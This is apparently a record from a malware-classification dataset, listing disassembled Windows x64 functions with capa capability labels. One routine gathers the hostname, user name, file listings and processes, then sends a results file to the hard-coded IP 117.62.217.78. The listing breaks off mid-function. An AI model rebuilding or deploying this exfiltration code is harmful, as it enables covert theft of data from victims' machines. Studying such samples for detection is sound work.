joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001d60
Capabilities:
Get hostname
Get session user name

Disassembly:
sub rsp, 0x178
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rdx, [0x140021f84]
lea rcx, [0x1400225f0]
call fcn.140006944
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001db9
lea rcx, [0x140022600]
call fcn.1400010f0
mov rcx, qword [rsp + 0x28]
call fcn.140006b7c
mov eax, 1
jmp 0x140001e64
lea rdx, str.___Hostname_And_User_Name_Information_n
mov rcx, qword [rsp + 0x28]
call fcn.140001080
mov dword [rsp + 0x30], 0x101
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jne 0x140001e05
lea r8, [rsp + 0x50]
lea rdx, str.Current_user:__s_n
mov rcx, qword [rsp + 0x28]
call fcn.140001080
jmp 0x140001e11
lea rcx, str.Failed_to_get_current_user_n
call fcn.1400010f0
mov dword [rsp + 0x34], socket
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jne 0x140001e4c
lea r8, [rsp + 0x38]
lea rdx, str.Hostname:__s_n
mov rcx, qword [rsp + 0x28]
call fcn.140001080
jmp 0x140001e58
lea rcx, str.Failed_to_get_hostname_n
call fcn.1400010f0
mov rcx, qword [rsp + 0x28]
call fcn.140006b7c
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140002910
add rsp, 0x178
ret

Function at 0x140001e80
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x140021f94]
lea rcx, [0x1400226a0]
call fcn.140006944
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140001ed4
lea rcx, [0x1400226b0]
call fcn.1400010f0
mov eax, 1
jmp 0x140001fa1
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140001f24
mov rdx, qword [rsp + 0x190]
lea rcx, str.Failed_to_find__s_files_n
call fcn.1400010f0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x20]
call fcn.140006b7c
mov eax, 1
jmp 0x140001fa1
mov r8, qword [rsp + 0x190]
lea rdx, str.____s_files_Information_n
mov rcx, qword [rsp + 0x20]
call fcn.140001080
mov eax, dword [rsp + 0x30]
and eax, 0x10
test eax, eax
je 0x140001f60
lea r8, [rsp + 0x5c]
lea rdx, str.Directory:__s_n
mov rcx, qword [rsp + 0x20]
call fcn.140001080
jmp 0x140001f76
lea r8, [rsp + 0x5c]
lea rdx, str.File:__s_n
mov rcx, qword [rsp + 0x20]
call fcn.140001080
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001f3d
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x20]
call fcn.140006b7c
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140002910
add rsp, 0x188
ret
Function at 0x140001fc0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x148
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rdx, [0x140021fc4]
lea rcx, [rsp + 0x20]
call fcn.140002790
lea rcx, [rsp + 0x20]
call fcn.140001e80
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140002910
add rsp, 0x148
ret

Function at 0x1400020c0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x278
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, send
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rsp + 0x30], eax
lea r8, [rsp + 0x40]
lea rdx, str._s
lea rcx, [rsp + 0x150]
call fcn.1400027c0
lea rcx, [rsp + 0x150]
call fcn.140001e80
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140002910
add rsp, 0x278
ret

Function at 0x140002140
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x258
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, [rsp + 0x20]
lea rdx, [0x140021fdc]
lea rcx, [rsp + 0x130]
call fcn.1400027c0
lea rcx, [rsp + 0x130]
call fcn.140001e80
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140002910
add rsp, 0x258
ret

Function at 0x140002210
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0x38], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
dec qword [rsp + 0x30]
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp byte [rax], 0
jne 0x140002264
mov rax, qword [rsp + 0x30]
lea rcx, [0x140021ff4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140001e80
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002910
add rsp, 0x168
pop rdi
pop rsi
ret
Function at 0x1400022c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x288
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140002300
xor eax, eax
jmp 0x140002379
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14000232b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140002379
mov eax, dword [rsp + 0x290]
cmp dword [rsp + 0x38], eax
jne 0x140002358
mov rax, qword [rsp + 0x298]
mov ecx, dword [rsp + 0x50]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140002379
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000232b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002910
add rsp, 0x288
ret
Function at 0x1400025b0
Capabilities:
Connect socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rdi
sub rsp, 0x620
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rsp + 0x610], rax
lea rdx, [rsp + 0x70]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400025e8
mov eax, 1
jmp 0x14000273c
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x140002618
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000273c
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, send
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x58], ax
lea rcx, str.117.62.217.78
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x5c], eax
mov cx, 0x1a0a
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x5a], ax
mov r8d, send
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140002689
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000273c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x10000000
lea rcx, str.result.txt
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x1400026d1
mov eax, 1
jmp 0x14000273c
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x400
lea rdx, [rsp + 0x210]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002720
cmp dword [rsp + 0x50], 0
jbe 0x140002720
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
lea rdx, [rsp + 0x210]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x1400026d1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x610]
xor rcx, rsp
call fcn.140002910
add rsp, 0x620
pop rdi
ret

Function at 0x14000687c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400066a8
Function at 0x2fc4d4f70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d6050
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d5972
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f8108]
test eax, eax
je 0x2fc4d5a0a
lea rax, [0x2fc4f80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f8110]
mov qword [rbp - 8], rax
jmp 0x2fc4d59ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d59e2
cmp qword [rbp - 0x10], 0
je 0x2fc4d59e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d59a8
lea rax, [0x2fc4f80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d5a0b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d5b10
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d5b38
mov eax, 0
jmp 0x2fc4d5b86
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d5b61
mov eax, 0
jmp 0x2fc4d5b86
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d5b81
mov eax, 0
jmp 0x2fc4d5b86
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d5b8c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d5c0a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d5c01
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d5c01
mov rax, qword [rbp - 8]
jmp 0x2fc4d5c1f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d5bd4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cebc0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4cfca0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4cf5c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f2108]
test eax, eax
je 0x2fc4cf65a
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f2110]
mov qword [rbp - 8], rax
jmp 0x2fc4cf63e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cf632
cmp qword [rbp - 0x10], 0
je 0x2fc4cf632
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cf5f8
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cf65b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cf760
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cf788
mov eax, 0
jmp 0x2fc4cf7d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cf7b1
mov eax, 0
jmp 0x2fc4cf7d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cf7d1
mov eax, 0
jmp 0x2fc4cf7d6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cf7dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cf85a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cf851
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cf851
mov rax, qword [rbp - 8]
jmp 0x2fc4cf86f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cf824
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400723f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword [0x140109080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWARERESOURCEMAPSystem_ResourcesPhysical_Memory
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xb8]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x98]
mov ecx, eax
call fcn.1400ba264
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb8]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0
jmp 0x1400724f0
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x30], eax
jae 0x140072582
mov rax, qword [rsp + 0x40]
add rax, 8
mov r9, rax
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0xa8]
lea rcx, [0x14010d3e8]
call fcn.14008d6b0
lea rax, [0x14010d3e8]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x40]
add rax, 0x14
mov qword [rsp + 0x40], rax
jmp 0x1400724e6
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.1400b9ec0
cmp qword [rsp + 0x50], 0
jne 0x1400725a9
mov qword [rsp + 0x78], 0
jmp 0x1400725bc
mov qword [rsp + 0x38], 0x8123
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b9ea0
add rsp, 0xd8
ret
Function at 0x140072650
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [0x140109080]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x78], 0
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000004
jne 0x1400726f9
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x78]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
jmp 0x14007269d
cmp dword [rsp + 0x30], 0
jge 0x14007271a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140072882
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x24], 0
jmp 0x140072738
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
cmp dword [rsp + 0x24], eax
jae 0x14007286d
mov eax, dword [rsp + 0x24]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 8]
mov ecx, dword [rsp + 0x24]
imul rcx, rcx, 0x128
mov rdx, qword [rsp + 0x38]
movzx ecx, word [rdx + rcx + 0x2e]
lea rax, [rax + rcx + 0x28]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1400801d0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x18], 0xf
jbe 0x1400727b5
mov dword [rsp + 0x34], 1
jmp 0x1400727bd
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400727e6
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x60]
call fcn.1400c5b10
test eax, eax
jne 0x14007285b
mov eax, dword [rsp + 0x24]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx + rax + 0x18]
mov qword [rsp + 0x68], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x80]
call fcn.1400828c0
mov rax, qword [rsp + 0x70]
jmp 0x140072882
lea rcx, [rsp + 0x80]
call fcn.1400828c0
jmp 0x14007272e
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400b9ea0
add rsp, 0xb8
ret
Function at 0x140076bc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x140109080]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x2a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
mov qword [rax], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea rdx, [rsp + 0x7c]
mov rcx, qword [rsp + 0x2b0]
call fcn.14007f1f0
test eax, eax
jne 0x140076cdb
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x2b0]
call fcn.140082370
mov eax, dword [rsp + 0x20]
jmp 0x140076d2a
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140076c88
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x2b0]
call fcn.140082370
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400b9ea0
add rsp, 0x2a0
pop rdi
ret

Function at 0x140077970
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp], rax
jmp 0x1400779b2
mov rax, qword [rsp]
add rax, 0x28
mov qword [rsp], rax
mov rax, qword [rsp + 0x28]
